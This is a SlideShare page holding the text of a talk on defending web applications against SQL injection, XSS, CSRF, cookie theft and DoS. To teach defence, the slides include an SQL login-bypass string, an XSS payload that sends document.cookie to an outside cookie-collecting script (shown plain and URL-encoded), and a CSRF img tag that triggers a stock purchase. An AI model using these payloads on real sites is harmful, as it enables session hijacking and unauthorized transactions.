SlideShare a Scribd company logo
Defending web applications from attacksRoberto Bicchieraihttp://roberto.open-lab.comrbicchierai@open-lab.com
“Web appsw.t.f.?”Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use)Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers)Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
	This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
Seems easy to say “security”…Classical branches:Hardware securityCryptographyIdentity
CryptographyEvery single byte you send can be read.SSL does not guarantee 100% and slows down your apps.Sniffing requires knowledge, software, hardware and physical access to wires.
User identityUsername/e-mail and passwordstrength:  “p455w0rD.” better than “password” or “p”avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!)try to avoid dictionary ones (record number of attempts!)never store passwords on your dbThe newdictionary: why “qazwsxedc” isnot so strong?OpenIDis a suitable alternative for some web apps.Biometrics are NOT.Datibiometrici (difficilmenteusabili)
Did I miss something?My servers are in a fortress3 firewall levels (and one dragon)I use 56 chars non-alpha pwdpwd expires every 10 daysI use SSL 1024(128) bit encryptionI hung blu velvet curtains to the windows
Your app sucks!InjectionCookiesXSSCSRFThe problem is in the application…
Injection: I don’t  need a password!Earth 2010:lotsofapplications are still open to the classicalsqlinjectionvulnerability:jsmitha’ or ‘a’=‘a“select  * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ”DON’T
Damned HTML… and your browsers3 ingredients make web apps vulnerable:HTML was not for applications! But it is! (code injection is too easy)HTTP  uses cookies for handling sessionsJavascript, that is ubiquitous in a page (and reads cookies)butmainlybrowsers
Remember me!Saltedcookies, saltedcookies!Usesalt and peppertohash login data.Do notmakethemreversible!md5(user.id+”hash”)md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
Protectcookies!lost cookies = session stolen, now I’m you!Hard to recover! Quite “easy” to preventuse HttpOnly cookiesrestrict cookie’s scope by setting host, path, expiryencrypt data saved on cookies
Injectionreloaded: aka XSS JSP-ASP example:notes:<textarea name=“notes”><%=note%></textarea>your name: <input type=”text” value=“<%=yourName%>”><%=yourName%>notes:</textarea><script>alert(“you stink!”)</script>your name:john “> <script>alert(“I can do everything!”)</script>thisis the basicsofXSS
XSSHow I’llgetyourcookies:http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>“Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com
XSS: encodeuserinputsDo not think it’s easy:if (userInputs.contains(“<script>”))	killTheUser();itdoesn’t work!http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3eDo yourecognizethis? Itis the same script!Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.
XSS: encodeuserinputsThe safest solution?Limit user inputs to plain text Html encode every single fieldhttp://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt;Sweet dreams! This is always safe!
XSS: no plain text? so, pain test!Your app allows rich text inputs?Did your user need the full power of HTML? Try to avoid using it. Use a lightweight markup language instead.Markdown
Textile
BBCode
WikipediaXSS: I like HTMLSanitizing an HTML input is really hard work.Do not be shy:restrict allowed tags: <i><b><a><u><br><hr>kill dangerous tags: <script><object><embed>etc.test urls:             <a href=“javascript:   or  background-image:url(‘…limit css styles, e.g.: positionHtmlEncode all the rest!
XSS: test yourpagesThere are about 150 different XSS exploits!Test inputs using examples onhttp://ha.ckers.org/xss.htmlwith different browsers and versions.Use XSSme plugin for FireFox.
Missionaccomplished. XSS destroyed! Does the user exactly know what she is doing?Everytime?click herenext target:Cross Site Request Forgery
CSRF: howdoesit work?John is authenticated on site A. e.g.: stoks.example.comJohn visit the site B reading news: hotStoksNews.goodboy.comB contains the CSRF attack to site A e.g.:<img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”>John is now an happy owner 	of 1000 KRAK shares!
CSRF: protectyourappThere aren’t many solutions:Server-sideGeneratedTokens!
CSRF & Tokens: howtoyour server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session when the form request is received a hidden parameter is matched with the in-session one
CSRF & TokensCons:reloading a page (F5) will generate “invalid token error”if a page has different entry points token generation may be annoyingPros:safesafesafe
API: a newenemy?REST, JSON, XML API are not evil in themself, but:there is no “standard” authenticationwhen used with JS clients this may reveal the user keyyou are exposing new ways for xss and csrf
DoS: Denialof ServiceDoS protocol level: nothing to do… use intelligent gateways/routerDoS application level: try to monitor IPs,  manage a black-list (not useful for DDoS), kill suspect sessionsUse session-less pages until authentication“DoS” and “Success” are similar, if you can endure an attack, you are ready to support  thousands of users.
Yourapprocks!use strong passwordskeep data in safe placedo not store user’s passwordssalt and pepper everywhereuse SSLuse Httponly cookiesencode user inputs or sanitize themuse server-side tokens for critical actionsexpose a read-only API

More Related Content

What's hot (20)

PPTX
Clickjacking DevCon2011
Krishna T
 
PDF
The Hidden XSS - Attacking the Desktop & Mobile Platforms
kosborn
 
PDF
Top Ten Web Hacking Techniques (2010)
Jeremiah Grossman
 
PPTX
Top Ten Web Hacking Techniques of 2012
Jeremiah Grossman
 
PPT
4.Xss
phanleson
 
PPTX
Secure web messaging in HTML5
Krishna T
 
PPTX
Browser Internals-Same Origin Policy
Krishna T
 
PPTX
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Magno Logan
 
PDF
VSA: The Virtual Scripted Attacker, Brucon 2012
Abraham Aranguren
 
PDF
Things that go bump on the web - Web Application Security
Christian Heilmann
 
PPTX
Html5 security
Krishna T
 
PPT
Web Application Security: The Land that Information Security Forgot
Jeremiah Grossman
 
PPTX
Introduction to CSRF Attacks & Defense
Surya Subhash
 
PDF
Web Security 101
Michael Peters
 
PPT
Phpnw security-20111009
Paul Lemon
 
PPTX
Understanding Cross-site Request Forgery
Daniel Miessler
 
PPT
Phishing with Super Bait
Jeremiah Grossman
 
PPTX
Web application security for java (XSS,Session Fixation)
Ritesh Raushan
 
PPT
Django (Web Applications that are Secure by Default)
Kishor Kumar
 
PPTX
Microdata semantic-extend
Seek Tan
 
Clickjacking DevCon2011
Krishna T
 
The Hidden XSS - Attacking the Desktop & Mobile Platforms
kosborn
 
Top Ten Web Hacking Techniques (2010)
Jeremiah Grossman
 
Top Ten Web Hacking Techniques of 2012
Jeremiah Grossman
 
4.Xss
phanleson
 
Secure web messaging in HTML5
Krishna T
 
Browser Internals-Same Origin Policy
Krishna T
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Magno Logan
 
VSA: The Virtual Scripted Attacker, Brucon 2012
Abraham Aranguren
 
Things that go bump on the web - Web Application Security
Christian Heilmann
 
Html5 security
Krishna T
 
Web Application Security: The Land that Information Security Forgot
Jeremiah Grossman
 
Introduction to CSRF Attacks & Defense
Surya Subhash
 
Web Security 101
Michael Peters
 
Phpnw security-20111009
Paul Lemon
 
Understanding Cross-site Request Forgery
Daniel Miessler
 
Phishing with Super Bait
Jeremiah Grossman
 
Web application security for java (XSS,Session Fixation)
Ritesh Raushan
 
Django (Web Applications that are Secure by Default)
Kishor Kumar
 
Microdata semantic-extend
Seek Tan
 

Viewers also liked (8)

PDF
Game Design for Product Ideas and UI Design
Pietro Polsinelli
 
PDF
Videogames Saving and Damning Players
Pietro Polsinelli
 
PDF
Impact of technology on narratives
Pietro Polsinelli
 
PDF
A Romantic Approach to Game Design
Pietro Polsinelli
 
PDF
Game Design: from rules to craft
Pietro Polsinelli
 
PPTX
How to Fail Kickstarter and Live Happily Ever After
Pietro Polsinelli
 
PPT
Egypt
DJSA
 
PDF
Playfied Storytelling
Pietro Polsinelli
 
Game Design for Product Ideas and UI Design
Pietro Polsinelli
 
Videogames Saving and Damning Players
Pietro Polsinelli
 
Impact of technology on narratives
Pietro Polsinelli
 
A Romantic Approach to Game Design
Pietro Polsinelli
 
Game Design: from rules to craft
Pietro Polsinelli
 
How to Fail Kickstarter and Live Happily Ever After
Pietro Polsinelli
 
Egypt
DJSA
 
Playfied Storytelling
Pietro Polsinelli
 
Ad

Similar to Roberto Bicchierai - Defending web applications from attacks (20)

ODP
2009 Barcamp Nashville Web Security 101
brian_dailey
 
PPTX
Top web apps security vulnerabilities
Aleksandar Bozinovski
 
PPTX
ASP.NET security vulnerabilities
Aleksandar Bozinovski
 
PPTX
Attacking Web Applications
Sasha Goldshtein
 
PPT
Web Application Security - "In theory and practice"
Jeremiah Grossman
 
PPT
Defcon9 Presentation2001
Miguel Ibarra
 
PPTX
Presentation on Top 10 Vulnerabilities in Web Application
Md Mahfuzur Rahman
 
PDF
Top 10 Web Application vulnerabilities
Terrance Medina
 
PPT
Web Apps Security
Victor Bucutea
 
PDF
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
Sam Bowne
 
PPT
Top Ten Tips For Tenacious Defense In Asp.Net
alsmola
 
PDF
Owasp top 10 2013
Edouard de Lansalut
 
PPT
Security Tech Talk
Mallikarjun Reddy
 
PPTX
Web security for app developers
Pablo Gazmuri
 
PDF
Web vulnerabilities
Oleksandr Kovalchuk
 
PDF
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
Sam Bowne
 
PDF
Hacking Vulnerable Websites to Bypass Firewalls
Netsparker
 
PDF
CNIT 129S: Securing Web Applications Ch 1-2
Sam Bowne
 
PDF
A security note for web developers
John Ombagi
 
PPT
Intro to Web Application Security
Rob Ragan
 
2009 Barcamp Nashville Web Security 101
brian_dailey
 
Top web apps security vulnerabilities
Aleksandar Bozinovski
 
ASP.NET security vulnerabilities
Aleksandar Bozinovski
 
Attacking Web Applications
Sasha Goldshtein
 
Web Application Security - "In theory and practice"
Jeremiah Grossman
 
Defcon9 Presentation2001
Miguel Ibarra
 
Presentation on Top 10 Vulnerabilities in Web Application
Md Mahfuzur Rahman
 
Top 10 Web Application vulnerabilities
Terrance Medina
 
Web Apps Security
Victor Bucutea
 
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
Sam Bowne
 
Top Ten Tips For Tenacious Defense In Asp.Net
alsmola
 
Owasp top 10 2013
Edouard de Lansalut
 
Security Tech Talk
Mallikarjun Reddy
 
Web security for app developers
Pablo Gazmuri
 
Web vulnerabilities
Oleksandr Kovalchuk
 
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
Sam Bowne
 
Hacking Vulnerable Websites to Bypass Firewalls
Netsparker
 
CNIT 129S: Securing Web Applications Ch 1-2
Sam Bowne
 
A security note for web developers
John Ombagi
 
Intro to Web Application Security
Rob Ragan
 
Ad

More from Pietro Polsinelli (20)

PDF
Surviving Applied Games (2018)
Pietro Polsinelli
 
PPTX
Designing An Applied Game For Your Museum - Workshop
Pietro Polsinelli
 
PPTX
Museums and Learning
Pietro Polsinelli
 
PDF
The Perfect Fuckup Formula
Pietro Polsinelli
 
PDF
Applied And Persuasive Applications For Museums
Pietro Polsinelli
 
PDF
Impossible mission: estimating (game) development
Pietro Polsinelli
 
PDF
Engagement as playful learning
Pietro Polsinelli
 
PDF
(Mis)Understanding Applied Game Design: Vaccine!
Pietro Polsinelli
 
PDF
From Web to Game Development
Pietro Polsinelli
 
PDF
A Short Workshop in Game Design
Pietro Polsinelli
 
PDF
Applied Game Design by Example
Pietro Polsinelli
 
PDF
People in love at Games in Tuscany
Pietro Polsinelli
 
PDF
From Gamification to Game Design
Pietro Polsinelli
 
PDF
People in Love: a game about urban design
Pietro Polsinelli
 
PDF
Development and storytelling: a many-to-many relationship
Pietro Polsinelli
 
PDF
Game Design for Storytellers
Pietro Polsinelli
 
PDF
Gamify with SVG / Canvas over Facebook Open Graph
Pietro Polsinelli
 
PDF
From HTML5 websites to HTML5 games
Pietro Polsinelli
 
PDF
Deterding on "Persuasive Design"
Pietro Polsinelli
 
PDF
Engagement by Design
Pietro Polsinelli
 
Surviving Applied Games (2018)
Pietro Polsinelli
 
Designing An Applied Game For Your Museum - Workshop
Pietro Polsinelli
 
Museums and Learning
Pietro Polsinelli
 
The Perfect Fuckup Formula
Pietro Polsinelli
 
Applied And Persuasive Applications For Museums
Pietro Polsinelli
 
Impossible mission: estimating (game) development
Pietro Polsinelli
 
Engagement as playful learning
Pietro Polsinelli
 
(Mis)Understanding Applied Game Design: Vaccine!
Pietro Polsinelli
 
From Web to Game Development
Pietro Polsinelli
 
A Short Workshop in Game Design
Pietro Polsinelli
 
Applied Game Design by Example
Pietro Polsinelli
 
People in love at Games in Tuscany
Pietro Polsinelli
 
From Gamification to Game Design
Pietro Polsinelli
 
People in Love: a game about urban design
Pietro Polsinelli
 
Development and storytelling: a many-to-many relationship
Pietro Polsinelli
 
Game Design for Storytellers
Pietro Polsinelli
 
Gamify with SVG / Canvas over Facebook Open Graph
Pietro Polsinelli
 
From HTML5 websites to HTML5 games
Pietro Polsinelli
 
Deterding on "Persuasive Design"
Pietro Polsinelli
 
Engagement by Design
Pietro Polsinelli
 

Recently uploaded (20)

PPTX
The Project Compass - GDG on Campus MSIT
dscmsitkol
 
PDF
Biography of Daniel Podor.pdf
Daniel Podor
 
PDF
Bitcoin for Millennials podcast with Bram, Power Laws of Bitcoin
Stephen Perrenod
 
PPTX
AI Penetration Testing Essentials: A Cybersecurity Guide for 2025
defencerabbit Team
 
PDF
July Patch Tuesday
Ivanti
 
PDF
Transforming Utility Networks: Large-scale Data Migrations with FME
Safe Software
 
PPTX
"Autonomy of LLM Agents: Current State and Future Prospects", Oles` Petriv
Fwdays
 
PDF
"AI Transformation: Directions and Challenges", Pavlo Shaternik
Fwdays
 
PDF
The Rise of AI and IoT in Mobile App Tech.pdf
IMG Global Infotech
 
PDF
Mastering Financial Management in Direct Selling
Epixel MLM Software
 
PDF
CIFDAQ Market Insights for July 7th 2025
CIFDAQ
 
PDF
Go Concurrency Real-World Patterns, Pitfalls, and Playground Battles.pdf
Emily Achieng
 
PDF
Achieving Consistent and Reliable AI Code Generation - Medusa AI
medusaaico
 
PDF
Empower Inclusion Through Accessible Java Applications
Ana-Maria Mihalceanu
 
PDF
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
PPTX
Future Tech Innovations 2025 – A TechLists Insight
TechLists
 
PPTX
Building Search Using OpenSearch: Limitations and Workarounds
Sease
 
PDF
Transcript: New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
PPTX
COMPARISON OF RASTER ANALYSIS TOOLS OF QGIS AND ARCGIS
Sharanya Sarkar
 
PDF
Jak MŚP w Europie Środkowo-Wschodniej odnajdują się w świecie AI
dominikamizerska1
 
The Project Compass - GDG on Campus MSIT
dscmsitkol
 
Biography of Daniel Podor.pdf
Daniel Podor
 
Bitcoin for Millennials podcast with Bram, Power Laws of Bitcoin
Stephen Perrenod
 
AI Penetration Testing Essentials: A Cybersecurity Guide for 2025
defencerabbit Team
 
July Patch Tuesday
Ivanti
 
Transforming Utility Networks: Large-scale Data Migrations with FME
Safe Software
 
"Autonomy of LLM Agents: Current State and Future Prospects", Oles` Petriv
Fwdays
 
"AI Transformation: Directions and Challenges", Pavlo Shaternik
Fwdays
 
The Rise of AI and IoT in Mobile App Tech.pdf
IMG Global Infotech
 
Mastering Financial Management in Direct Selling
Epixel MLM Software
 
CIFDAQ Market Insights for July 7th 2025
CIFDAQ
 
Go Concurrency Real-World Patterns, Pitfalls, and Playground Battles.pdf
Emily Achieng
 
Achieving Consistent and Reliable AI Code Generation - Medusa AI
medusaaico
 
Empower Inclusion Through Accessible Java Applications
Ana-Maria Mihalceanu
 
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
Future Tech Innovations 2025 – A TechLists Insight
TechLists
 
Building Search Using OpenSearch: Limitations and Workarounds
Sease
 
Transcript: New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
COMPARISON OF RASTER ANALYSIS TOOLS OF QGIS AND ARCGIS
Sharanya Sarkar
 
Jak MŚP w Europie Środkowo-Wschodniej odnajdują się w świecie AI
dominikamizerska1
 

Roberto Bicchierai - Defending web applications from attacks

  • 1. Defending web applications from attacksRoberto Bicchieraihttp://[email protected]
  • 2. “Web appsw.t.f.?”Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use)Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers)Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
  • 3. This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
  • 4. Seems easy to say “security”…Classical branches:Hardware securityCryptographyIdentity
  • 5. CryptographyEvery single byte you send can be read.SSL does not guarantee 100% and slows down your apps.Sniffing requires knowledge, software, hardware and physical access to wires.
  • 6. User identityUsername/e-mail and passwordstrength: “p455w0rD.” better than “password” or “p”avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!)try to avoid dictionary ones (record number of attempts!)never store passwords on your dbThe newdictionary: why “qazwsxedc” isnot so strong?OpenIDis a suitable alternative for some web apps.Biometrics are NOT.Datibiometrici (difficilmenteusabili)
  • 7. Did I miss something?My servers are in a fortress3 firewall levels (and one dragon)I use 56 chars non-alpha pwdpwd expires every 10 daysI use SSL 1024(128) bit encryptionI hung blu velvet curtains to the windows
  • 8. Your app sucks!InjectionCookiesXSSCSRFThe problem is in the application…
  • 9. Injection: I don’t need a password!Earth 2010:lotsofapplications are still open to the classicalsqlinjectionvulnerability:jsmitha’ or ‘a’=‘a“select * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ”DON’T
  • 10. Damned HTML… and your browsers3 ingredients make web apps vulnerable:HTML was not for applications! But it is! (code injection is too easy)HTTP uses cookies for handling sessionsJavascript, that is ubiquitous in a page (and reads cookies)butmainlybrowsers
  • 11. Remember me!Saltedcookies, saltedcookies!Usesalt and peppertohash login data.Do notmakethemreversible!md5(user.id+”hash”)md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
  • 12. Protectcookies!lost cookies = session stolen, now I’m you!Hard to recover! Quite “easy” to preventuse HttpOnly cookiesrestrict cookie’s scope by setting host, path, expiryencrypt data saved on cookies
  • 13. Injectionreloaded: aka XSS JSP-ASP example:notes:<textarea name=“notes”><%=note%></textarea>your name: <input type=”text” value=“<%=yourName%>”><%=yourName%>notes:</textarea><script>alert(“you stink!”)</script>your name:john “> <script>alert(“I can do everything!”)</script>thisis the basicsofXSS
  • 15. XSS: encodeuserinputsDo not think it’s easy:if (userInputs.contains(“<script>”)) killTheUser();itdoesn’t work!http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3eDo yourecognizethis? Itis the same script!Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.
  • 16. XSS: encodeuserinputsThe safest solution?Limit user inputs to plain text Html encode every single fieldhttp://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt;Sweet dreams! This is always safe!
  • 17. XSS: no plain text? so, pain test!Your app allows rich text inputs?Did your user need the full power of HTML? Try to avoid using it. Use a lightweight markup language instead.Markdown
  • 20. WikipediaXSS: I like HTMLSanitizing an HTML input is really hard work.Do not be shy:restrict allowed tags: <i><b><a><u><br><hr>kill dangerous tags: <script><object><embed>etc.test urls: <a href=“javascript: or background-image:url(‘…limit css styles, e.g.: positionHtmlEncode all the rest!
  • 21. XSS: test yourpagesThere are about 150 different XSS exploits!Test inputs using examples onhttp://ha.ckers.org/xss.htmlwith different browsers and versions.Use XSSme plugin for FireFox.
  • 22. Missionaccomplished. XSS destroyed! Does the user exactly know what she is doing?Everytime?click herenext target:Cross Site Request Forgery
  • 23. CSRF: howdoesit work?John is authenticated on site A. e.g.: stoks.example.comJohn visit the site B reading news: hotStoksNews.goodboy.comB contains the CSRF attack to site A e.g.:<img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”>John is now an happy owner of 1000 KRAK shares!
  • 24. CSRF: protectyourappThere aren’t many solutions:Server-sideGeneratedTokens!
  • 25. CSRF & Tokens: howtoyour server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session when the form request is received a hidden parameter is matched with the in-session one
  • 26. CSRF & TokensCons:reloading a page (F5) will generate “invalid token error”if a page has different entry points token generation may be annoyingPros:safesafesafe
  • 27. API: a newenemy?REST, JSON, XML API are not evil in themself, but:there is no “standard” authenticationwhen used with JS clients this may reveal the user keyyou are exposing new ways for xss and csrf
  • 28. DoS: Denialof ServiceDoS protocol level: nothing to do… use intelligent gateways/routerDoS application level: try to monitor IPs, manage a black-list (not useful for DDoS), kill suspect sessionsUse session-less pages until authentication“DoS” and “Success” are similar, if you can endure an attack, you are ready to support thousands of users.
  • 29. Yourapprocks!use strong passwordskeep data in safe placedo not store user’s passwordssalt and pepper everywhereuse SSLuse Httponly cookiesencode user inputs or sanitize themuse server-side tokens for critical actionsexpose a read-only API
  • 31. Thank you!Now: Q&Aa startingpointwith a collectionof security relatedlinks:http://delicious.com/robicch/securitymy Java sanitizer: http://roberto.open-lab.com